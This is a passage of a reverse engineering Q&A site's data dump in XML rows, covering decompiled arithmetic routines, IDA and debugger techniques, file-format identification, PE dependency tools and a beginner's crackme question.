v6 &amp;lt; v11 )&#xA;      --v15;&#xA;    v15 -= HIWORD(last_keyitem);&#xA;    ++v4;&#xA;  }&#xA;  if ( HIWORD(last_keyitem) == -1 ){&#xA;    //LOWORD(v7) = v15;&#xA;    v7 &amp;amp;= 0xFFFF0000;&#xA;    v7 |= v15 &amp;amp; 0xFFFF;&#xA;  }else{&#xA;    v7 = ((v11 &amp;gt;&amp;gt; 16) + (v15 &amp;lt;&amp;lt; 16)) / ((unsigned int)HIWORD(last_keyitem) + 1);&#xA;  }&#xA;  v16 = HIWORD(last_keyitem) * (unsigned __int16)v7;&#xA;  v12 = v11 - (unsigned __int16)last_keyitem * (unsigned __int16)v7;&#xA;  if ( v12 &amp;gt; -1 - (unsigned __int16)last_keyitem * (unsigned int)(unsigned __int16)v7 )&#xA;    --v15;&#xA;  //LODWORD(v13) = v12 - (v16 &amp;lt;&amp;lt; 16);&#xA;  v13 &amp;amp;= 0xFFFFFFFF00000000;&#xA;  v13 |= (v12 - (v16 &amp;lt;&amp;lt; 16)) &amp;amp; 0xFFFFFFFF;&#xA;  if ( -1 - (v16 &amp;lt;&amp;lt; 16) &amp;lt; (unsigned int)v13 )&#xA;    --v15;&#xA;  // HIDWORD&#xA;  v13 &amp;amp;= 0x00000000FFFFFFFF;&#xA;  v13 |= (v15 - (v16 &amp;gt;&amp;gt; 16)) &amp;amp; 0xFFFFFFFF00000000;&#xA;  while ( last_keyitem &amp;lt;= v13 )&#xA;  {&#xA;      v13 &amp;amp;= 0xFFFF0000;&#xA;      v13 |= (v13 - last_keyitem) &amp;amp; 0xFFFF;&#xA;    //LODWORD(v13) = v13 - a3;&#xA;    v13 = (v13 - last_keyitem) &amp;amp; 0xFFFF;&#xA;    if ( (unsigned int)v13 &amp;gt; -1 - last_keyitem ){&#xA;      //--HIDWORD(v13);&#xA;        unsigned __int64 high_word = v13 &amp;amp; 0xFFFFFFFF00000000;&#xA;        high_word++;&#xA;        v13 &amp;amp;= 0x00000000FFFFFFFF;&#xA;        v13 |= high_word;&#xA;    }&#xA;    ++v7;&#xA;  }&#xA;  *result = (unsigned __int16)v7 + ((unsigned __int16)v4 &amp;lt;&amp;lt; 16);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-01-04T12:36:28.363" Title="Identify a decryption scheme" Tags="|disassembly|encryption|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6946" PostTypeId="2" ParentId="6945" CreationDate="2015-01-03T15:58:50.797" Score="4" Body="&lt;p&gt;The first function (the one at .text:004D5A40) computes the 64-bit product of two 32-bit unsigned operands and stores the result through EAX. It is probably some half-assed 16-bit code recompiled with a half-assed 32-bit compiler...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick test you can paste the disassembly into an __asm block to make it recompilable. Then you can make a call stub to aid experimentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__declspec(naked)&#xA;void sub_4D5A40 ()&#xA;{&#xA;   __asm&#xA;   {&#xA;/*4D5A40*/                 push    ebx&#xA;... BIG SNIP ...&#xA;/*4D5ABE*/                 pop     ebx&#xA;/*4D5ABF*/                 retn&#xA;   }&#xA;}&#xA;&#xA;__declspec(noinline)&#xA;uint64_t halfassed_mul (uint32_t multiplicand, uint32_t multiplier)&#xA;{&#xA;   uint64_t result;&#xA;&#xA;   __asm&#xA;   {&#xA;      mov   ecx, multiplicand&#xA;      mov   edx, multiplier&#xA;      lea   eax, result&#xA;&#xA;      call sub_4D5A40&#xA;   }&#xA;&#xA;   return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way you can easily compare/verify the result against the 64-bit product of the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the listing won't compile unless you change the stack variable references to &lt;code&gt;word ptr [esp]&lt;/code&gt;. If you forget the &lt;code&gt;word&lt;/code&gt; qualifier then the compiler will assume byte-sized access, and this will b0rken things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compiler used for your target is so poor that Hex-Rays obviously cannot make much sense of the code... You may have more success if you recompile the decompiler output for selected functions with a decent compiler and full optimisation, in order to remove as much redundancy as possible (don't forget &lt;code&gt;__declspec(noinline)&lt;/code&gt;). If you decompile that then things should be a lot clearer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Browse a couple of the bigint-related topics on Stack Overflow and Code Review to refresh your memory on what bigint code looks like where the rubber meets the road,  especially the contest-related topics where people have to reinvent the wheel instead of just calling some bigint library. For example the topic &lt;a href=&quot;https://codereview.stackexchange.com/questions/70125/sum-of-digits-in-ab/70197#70197&quot;&gt;Sum of digits in a^b&lt;/a&gt;. That should make it much easier to recognise related patterns in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;  I tackled &lt;strong&gt;sub_4D5AC0&lt;/strong&gt; because I wanted to know what mysterious calculation it performs, but trying to understand the code made my head swim, even after I removed a lot of redundant instructions. So I decided to give it the black box treatment, on the assumption that it performs some basic arithmetic computation. The elementary operations of the code indicated division, in a rather convoluted way. Combined with the signature (64-bit op 32-bit, with 32-bit result), the only op that fitted was MOD. So I pasted the code into an .asm, which compiled without a hitch (kudos to IDA!), made a call stub and fed some inputs into the black box. It turns out that the function divides a 64-bit integer at *EDX by ECX and stores the lower 32 bits of the quotient through EAX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I wrote a test to verify the function output for some random inputs I typed 1000000000 for the loop count as usual. Biiig mistake, since 1000 calls take about a second already...&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="-1" LastEditDate="2017-04-13T12:41:08.377" LastActivityDate="2015-01-04T12:36:28.363" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6947" PostTypeId="2" ParentId="6217" CreationDate="2015-01-03T16:55:05.113" Score="3" Body="&lt;p&gt;If your looking for SSDT hooking with WinDbg, have tried the SwishDbgExt.dll?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;Here is the link to the author's page - &lt;a href=&quot;http://www.msuiche.net/2014/07/16/thats-so-swish&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.msuiche.net/2014/07/16/thats-so-swish&lt;/a&gt;&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;Update: &lt;a href=&quot;http://www.msuiche.net/2014/08/19/swishdbgext-update-0-6-20140817/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.msuiche.net/2014/08/19/swishdbgext-update-0-6-20140817/&lt;/a&gt;&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edited&lt;/em&gt; (07/01/2020): you can find the project on &lt;a href=&quot;https://github.com/comaeio/SwishDbgExt&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3587" LastEditorUserId="27706" LastEditDate="2020-01-07T21:32:03.437" LastActivityDate="2020-01-07T21:32:03.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6948" PostTypeId="2" ParentId="6944" CreationDate="2015-01-03T17:20:38.887" Score="0" Body="&lt;p&gt;Have you tried AVcaesar @ malware.lu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link: &lt;a href=&quot;https://avcaesar.malware.lu&quot; rel=&quot;nofollow&quot;&gt;https://avcaesar.malware.lu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Kernelmode.info forum usually hosts malware samples too.&lt;/p&gt;&#xA;" OwnerUserId="3587" LastEditorUserId="2021" LastEditDate="2015-01-04T14:44:35.210" LastActivityDate="2015-01-04T14:44:35.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6951" PostTypeId="1" AcceptedAnswerId="7974" CreationDate="2015-01-04T10:00:54.253" Score="3" ViewCount="615" Body="&lt;p&gt;I have a file that I am trying understand its structure and format. It's a proprietary driver file of a control system for NEC LT380 projector which contain essential information such as TCP port number and available commands that the projector accepts such us power on/off, switch inputs and aspect ratio etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a few tests on the file and able to determine a few things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Here's the content of the file: &lt;a href=&quot;http://codepad.org/0pzGkLgT&quot; rel=&quot;nofollow&quot;&gt;http://codepad.org/0pzGkLgT&lt;/a&gt; (you need to save the content into a file then open it using gzip software)&lt;/li&gt;&#xA;&lt;li&gt;I was able to determine that the file is gzipped and upon extraction, the zip contains a single file without extension.&lt;/li&gt;&#xA;&lt;li&gt;Here's the content of the extracted file: &lt;a href=&quot;http://codepad.org/yvuceZcD&quot; rel=&quot;nofollow&quot;&gt;http://codepad.org/yvuceZcD&lt;/a&gt; (to read this, open using hex viewer)&lt;/li&gt;&#xA;&lt;li&gt;Online TrID File Identifier seems to identify the extracted file as ABR or Adobe Photoshop Brush which of course is incorrect.&lt;/li&gt;&#xA;&lt;li&gt;Then I opened the extracted file using text editor, it just show a bunch of hex strings.&lt;/li&gt;&#xA;&lt;li&gt;Which led me to open the hex file in HexEdit. This time, I am able to see some human readable syntaxes and code.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The beginning and end of file contains some unreadable strings and some syntaxes such as &quot;&lt;strong&gt;Culture=neutral, PublicKeyToken=null&lt;/strong&gt;&quot;. These syntaxes seemed to suggest its .NET related but exactly what kind of .NET file I am not so sure. In the middle portion of the file, there's a bunch of code that with further investigation seemed like python code. Example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;def ReadAspectRatio(self, qualifier, context):&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also, on the same file, I found some tags:&lt;code&gt;**&amp;lt;&amp;lt;/Type/Catalog/Pages 2 0 R/Lang(en-US) &amp;gt;&amp;gt;**&lt;/code&gt; which is often found in a PDF file. Using PDF repair tool, I was able to recover and rebuild the streams of this file into a proper PDF file which contains a few pages of the projector commands and port information.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Do you have a way to determine what kind of file is this? Or what has been done to this file since there seems to be 3 different things inside that one file: .NET stuff (maybe manifest file or reference to .NET assembly), python code that does the set/read/write command to device and lastly PDF stream. Was there obfuscation or file joining method or hashes done on that beginning and end of file?&lt;/li&gt;&#xA;&lt;li&gt;I am looking to recreate and emulate the file. Currently, if I just open that extracted file, edit the middle portion of the file by adding some simple extra options/commands in proper python code, save it and gzip it back, it doesn't work.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10415" LastEditorUserId="10415" LastEditDate="2015-01-04T13:52:00.730" LastActivityDate="2020-02-04T23:55:47.917" Title="Determine encrypted/hashed/compressed proprietary driver file" Tags="|driver|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6957" PostTypeId="2" ParentId="6951" CreationDate="2015-01-05T06:53:18.263" Score="1" Body="&lt;p&gt;Normally, i don't trust google searches for &quot;xyz file format&quot;, because they return all sorts of unethical &quot;if you have an xyz file, download our registry cleaner here&quot; sites. But in this case, one of the links is &lt;a href=&quot;http://extension.nirsoft.net/pkp&quot; rel=&quot;nofollow&quot;&gt;http://extension.nirsoft.net/pkp&lt;/a&gt;, which claims that a .pkp file might be a visual studio packaging project - which actually sounds sensible given the content of the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, one of the strings in the file is the full path it once had: &lt;code&gt;\\usa-home10\home\wes minner\programming\reviews\nec_1_548 [nec lt280]\finished\nec_1_548_v&#xA;1_0_0.pkp&lt;/code&gt;, and a lot of strings contain the company name Extron. Googling for &lt;code&gt;wes minner extron&lt;/code&gt; finds this &lt;a href=&quot;https://www.linkedin.com/pub/wesley-minner/5b/941/b51&quot; rel=&quot;nofollow&quot;&gt;LinkedIn Profile&lt;/a&gt; of a guy whose job description is &quot;Device driver writing and reviewing in Python&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you try one of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get a copy of visual studio and check if it can import your file as a project file&lt;/li&gt;&#xA;&lt;li&gt;use the LinkedIn Profile to contact the guy who created your file and ask him what type of file it is; this might yield better results than using one of the official channels of the company. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Seems sometimes there are non-technical ways of reverse engineering as well ...&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-01-05T06:53:18.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6958" PostTypeId="1" CreationDate="2015-01-05T08:16:28.057" Score="3" ViewCount="568" Body="&lt;p&gt;In order to port a program (32 bit) from Win XP to Win 7/8/10 (64 bit), I have to list its dependencies ( all the dependency tree if possible). I've tried several tools that I'm aware of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dependency walker - doesn't see the Wow64 layer. &lt;/li&gt;&#xA;&lt;li&gt;ProcessExplorer - gave another result and this time the Wow64 layer appears but not all the tree.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How could I list the exact list of dependency of my program ? &lt;/p&gt;&#xA;" OwnerUserId="10421" LastEditorUserId="2021" LastEditDate="2015-01-05T08:32:05.687" LastActivityDate="2015-01-05T09:40:11.453" Title="Find exact dependency tree of a program" Tags="|windows|dll|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6959" PostTypeId="2" ParentId="6958" CreationDate="2015-01-05T09:19:10.083" Score="4" Body="&lt;p&gt;You can use the following tools to inspect and try to recover information about PE file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.aldeid.com/wiki/PEiD&quot; rel=&quot;nofollow&quot;&gt;PEiD&lt;/a&gt; it has extensive pe file editing capabilities&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ntinfo.biz&quot; rel=&quot;nofollow&quot;&gt;Detect It Easy&lt;/a&gt; - another very useful tool for PE analysis&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tomsreversing.com/2013/03/11/viewing-imports-table/&quot; rel=&quot;nofollow&quot;&gt;Viewing import table from windbg&lt;/a&gt; - if the above will not be very helpful, you can always use the debugger.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://support.microsoft.com/kb/177429&quot; rel=&quot;nofollow&quot;&gt;Dumbin&lt;/a&gt; - Microsoft utility to inspect PE file, among which is PE imports.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those tools can show all the information about the imports that the program has.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2015-01-05T09:40:11.453" LastActivityDate="2015-01-05T09:40:11.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6960" PostTypeId="1" AcceptedAnswerId="6965" CreationDate="2015-01-05T11:15:31.940" Score="5" ViewCount="7087" Body="&lt;p&gt;I'm using IDA Pro 6.5, and I got the offset of a function and its arguments.&#xA;It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0000C0DE        int __cdecl func(char* a1, int a2, int a3, int a4, int a5, int a6, char* a7)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it has tons of xrefs (more than 200!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of dumping &lt;code&gt;a1&lt;/code&gt; and &lt;code&gt;a7&lt;/code&gt; arguments of every call to a list?&lt;br&gt;&#xA;I cannot hook and dump the arguments at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can walk the xref list with IDC, but once I'm on the &lt;code&gt;call func&lt;/code&gt; instruction, I don't know how to get arguments from the stack.&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-01-05T17:03:32.453" Title="Is there any way to get a list of function arguments used with IDC?" Tags="|ida|ida-plugin|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6961" PostTypeId="2" ParentId="6960" CreationDate="2015-01-05T11:29:11.337" Score="1" Body="&lt;p&gt;Manual approach: you can write relevant parameter values (and other pertinent info) as a comment after each call. That way the info shows up in the crossrefs listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also be scripted but that involves walking the instructions before each call and emulating the instructions in a limited fashion. Once you reach the call instruction you can access your simulated mini stack and emulated registers to see if they have constant (known) values or not, and generate above-mentioned comment accordingly.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastActivityDate="2015-01-05T11:29:11.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6963" PostTypeId="2" ParentId="6960" CreationDate="2015-01-05T12:07:07.817" Score="1" Body="&lt;p&gt;The problem is that those arguments may, and will in most cases, be calculated, not constants, so you don't really have one single instruction that gives you the parameter. Consider this test program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int a, b, c, d, e, f, g, h, i, j;&#xA;&#xA;void func(int a1, int a2, int a3, int a4, int a5) {&#xA;        printf(&quot;%d %d %d %d %d\n&quot;, a1, a2, a3, a4, a5);&#xA;}&#xA;&#xA;int main(void) {&#xA;        int x, y;&#xA;&#xA;        x=g+c;&#xA;        y=d*e+i;&#xA;&#xA;        func(1, a, b+c, 7, j);&#xA;        printf(&quot;blarfl\n&quot;);&#xA;        func(e, j*c, 3, x, y);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After compiling it (with -O0 and without symbols) and loading it in IDA, the main functions looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    rbp&#xA;mov     rbp, rsp&#xA;sub     rsp, 10h&#xA;mov     edx, cs:g&#xA;mov     eax, cs:c&#xA;add     eax, edx&#xA;mov     [rbp+var_8], eax&#xA;mov     edx, cs:d&#xA;mov     eax, cs:e&#xA;imul    edx, eax&#xA;mov     eax, cs:i&#xA;add     eax, edx&#xA;mov     [rbp+var_4], eax&#xA;mov     ecx, cs:j&#xA;mov     edx, cs:b&#xA;mov     eax, cs:c&#xA;add     edx, eax&#xA;mov     eax, cs:a&#xA;mov     r8d, ecx&#xA;mov     ecx, 7&#xA;mov     esi, eax&#xA;mov     edi, 1&#xA;call    func&#xA;mov     edi, offset s   ; &quot;blarfl&quot;&#xA;call    _puts&#xA;mov     edx, cs:j&#xA;mov     eax, cs:c&#xA;mov     esi, edx&#xA;imul    esi, eax&#xA;mov     eax, cs:e&#xA;mov     ecx, [rbp+var_4]&#xA;mov     edx, [rbp+var_8]&#xA;mov     r8d, ecx&#xA;mov     ecx, edx&#xA;mov     edx, 3&#xA;mov     edi, eax&#xA;call    func&#xA;leave&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you define your function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; __int64 __cdecl func(int XYZ1, int XYZ2, int XYZ3, int XYZ4, int XYZ5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the disassembly of &lt;code&gt;main&lt;/code&gt; turns into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    rbp&#xA;mov     rbp, rsp&#xA;sub     rsp, 10h&#xA;mov     edx, cs:g&#xA;mov     eax, cs:c&#xA;add     eax, edx&#xA;mov     [rbp+XYZ4], eax&#xA;mov     edx, cs:d&#xA;mov     eax, cs:e&#xA;imul    edx, eax&#xA;mov     eax, cs:i&#xA;add     eax, edx&#xA;mov     [rbp+XYZ5], eax&#xA;mov     ecx, cs:j&#xA;mov     edx, cs:b&#xA;mov     eax, cs:c&#xA;add     edx, eax        ; XYZ3&#xA;mov     eax, cs:a&#xA;mov     r8d, ecx        ; XYZ5&#xA;mov     ecx, 7          ; XYZ4&#xA;mov     esi, eax        ; XYZ2&#xA;mov     edi, 1          ; XYZ1&#xA;call    func&#xA;mov     edi, offset s   ; &quot;blarfl&quot;&#xA;call    _puts&#xA;mov     edx, cs:j&#xA;mov     eax, cs:c&#xA;mov     esi, edx&#xA;imul    esi, eax        ; XYZ2&#xA;mov     eax, cs:e&#xA;mov     ecx, [rbp+XYZ5]&#xA;mov     edx, [rbp+XYZ4]&#xA;mov     r8d, ecx        ; XYZ5&#xA;mov     ecx, edx        ; XYZ4&#xA;mov     edx, 3          ; XYZ3&#xA;mov     edi, eax        ; XYZ1&#xA;call    func&#xA;leave&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so you see ida auto-generates comments where the parameters are assigned. You can probably scan backwards 10 or 20 instructions from each xref using &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/267.shtml&quot; rel=&quot;nofollow&quot;&gt;PrevNotTail&lt;/a&gt;, and check the comments for your parameter strings. If you make your parameter names sufficiently unique, this should identify the instructions quite well (that's why i used XYZ1 instead of a1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;imul    esi, eax        ; XYZ2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;won't really help you that much. But your results may be better if most parameters to your &lt;code&gt;func&lt;/code&gt; are constants.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-01-05T12:07:07.817" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6965" PostTypeId="2" ParentId="6960" CreationDate="2015-01-05T17:03:32.453" Score="5" Body="&lt;p&gt;If you have the &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot; rel=&quot;noreferrer&quot;&gt;Hex-Rays Decompiler&lt;/a&gt;, I'd recommend &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/batch.shtml&quot; rel=&quot;noreferrer&quot;&gt;decompiling the entire binary&lt;/a&gt; and then &lt;a href=&quot;http://www.urbandictionary.com/define.php?term=grep&quot; rel=&quot;noreferrer&quot;&gt;grep&lt;/a&gt;'ing the resulting decompilation for &lt;code&gt;func(&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should provide you with more useful results than whatever IDC script one could develop.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-01-05T17:03:32.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6966" PostTypeId="1" CreationDate="2015-01-06T00:45:42.690" Score="6" ViewCount="720" Body="&lt;p&gt;I'm analyzing an application created with Borland Delphi but the poor quality of the object code makes analysis difficult and tedious. The code is so convoluted and inflated with superfluous instructions that it is very hard to make out what a given piece of code is trying to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the related topic &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6945/identify-a-decryption-scheme&quot;&gt;Identify a decryption scheme&lt;/a&gt; it was suggested to recompile the decompiler output with a good optimizing compiler, to eliminate redundancy and to get object code that is easier to analyze. &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I'm now wondering what would be the best way to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What tools are there for doing this based on &lt;strong&gt;object code&lt;/strong&gt; or &lt;strong&gt;disassembler&lt;/strong&gt; output (IDA)?&lt;/p&gt;&#xA;" OwnerUserId="10182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-02-05T12:17:02.843" Title="Recompiling/optimizing redundant code to make analysis easier" Tags="|disassembly|x86|deobfuscation|llvm|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6967" PostTypeId="1" CreationDate="2015-01-06T05:16:16.620" Score="1" ViewCount="1202" Body="&lt;p&gt;I've been playing around with RE for a bit now and a friend sent over a crackme. I figured mise well try and crack it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I did was to put the executable into &lt;code&gt;Exeinfo PE&lt;/code&gt; and there was nothing special there. So next I loaded the DLL into there and it came up with &lt;code&gt;PEcompact ver.1.41 - v1.84&lt;/code&gt; and it said to unpack it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I found an unpacker called &lt;code&gt;GUnPacker&lt;/code&gt; loaded it in there and it gave me &lt;code&gt;Address : &amp;lt;0x0041E738&amp;gt; ---- Is OEP(FOEP) Possibly...&lt;/code&gt; Not sure what to do with this since I am fairly new to the whole DLL being packed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you load the exe it gives me a ID #:&lt;code&gt;00FF-7514-B10D&lt;/code&gt; and then it asks for a serial. I loaded the DLL into &lt;code&gt;dllexp&lt;/code&gt; and there is a function named &lt;code&gt;GetSerial&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I believe it is a VB6 exe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to intercept that or something so that when I debug the program I can break when it is called and retrieve the serial?&lt;/p&gt;&#xA;" OwnerUserId="10427" LastEditorUserId="2021" LastEditDate="2015-01-06T07:28:13.593" LastActivityDate="2015-01-06T07:28:13.593" Title="Intercept serial check" Tags="|ollydbg|dll|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6968" PostTypeId="2" ParentId="6967" CreationDate="2015-01-06T07:25:57.753" Score="1" Body="&lt;p&gt;Your question is too broad and it looks that you lack basics in the RCE in general. I would suggest to start with some theory :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0764574817&quot; rel=&quot;nofollow&quot;&gt;Reversing: Secrets of Reverse Engineering&lt;/a&gt; - nice book for an intro&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/knowledge/index.php/Category:RCE_Knowledge&quot; rel=&quot;nofollow&quot;&gt;Collaborative RCE Knowledge Library&lt;/a&gt; - dig here deep and you find your gold&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;in addition try some easy ones from:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.crackmes.de&quot; rel=&quot;nofollow&quot;&gt;Crack me collection&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and in parallel go over first tuts here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tuts4you.com/download.php?list.17&quot; rel=&quot;nofollow&quot;&gt;Lenas Reversing for Newbies&lt;/a&gt; - some will say that they are not so good, but you know...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think this will give you an answer for the question. Other then this, try to ask the above in amore specific way as we do not have the binary to really pin-point you what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2015-01-06T07:25:57.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6969" PostTypeId="2" ParentId="6966" CreationDate="2015-01-06T08:47:39.443" Score="2" Body="&lt;p&gt;I'd suggest to look to &lt;a href=&quot;https://github.com/trailofbits/mcsema&quot; rel=&quot;nofollow&quot;&gt;mcsema&lt;/a&gt; project.&#xA;It translates x86 into LLVM intermediate representation and is able to compile the code back with changes. Once the code is translated to intermediate representation of &lt;a href=&quot;http://llvm.org/&quot; rel=&quot;nofollow&quot;&gt;LLVM&lt;/a&gt; it can be optimized by already existing LLVM optimizations.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-01-06T08:47:39.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7971" PostTypeId="2" ParentId="6782" CreationDate="2015-01-07T06:00:24.927" Score="1" Body="&lt;p&gt;Like most input fields in IDA, the breakpoint dialogue's Location field accepts expressions like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax + GetMemberOffset(GetStrucIdByName(&quot;foo_t&quot;), &quot;isHandshakeReceived&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea why IDA doesn't accept &lt;code&gt;0x376e5f0 + foo_t.isHandshakeReceived&lt;/code&gt;... Anyway, being able to enter expressions is very useful and it can save a lot of hassle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The erroneous address display is a result of the simplistic way in which IDA manages things internally. Basically, everything contained in a struct or array belongs to its starting address ('head'), and if the display is continued over multiple lines then IDA simply reprints the starting address instead of the correct address. It's a bit annoying but that's the way IDA works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: perhaps it would be worth it to file a defect report or post in IDA's bug forum; after all, the displayed addresses are definitely wrong. I wouldn't hold my breath but who knows...&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2015-01-07T06:25:22.893" 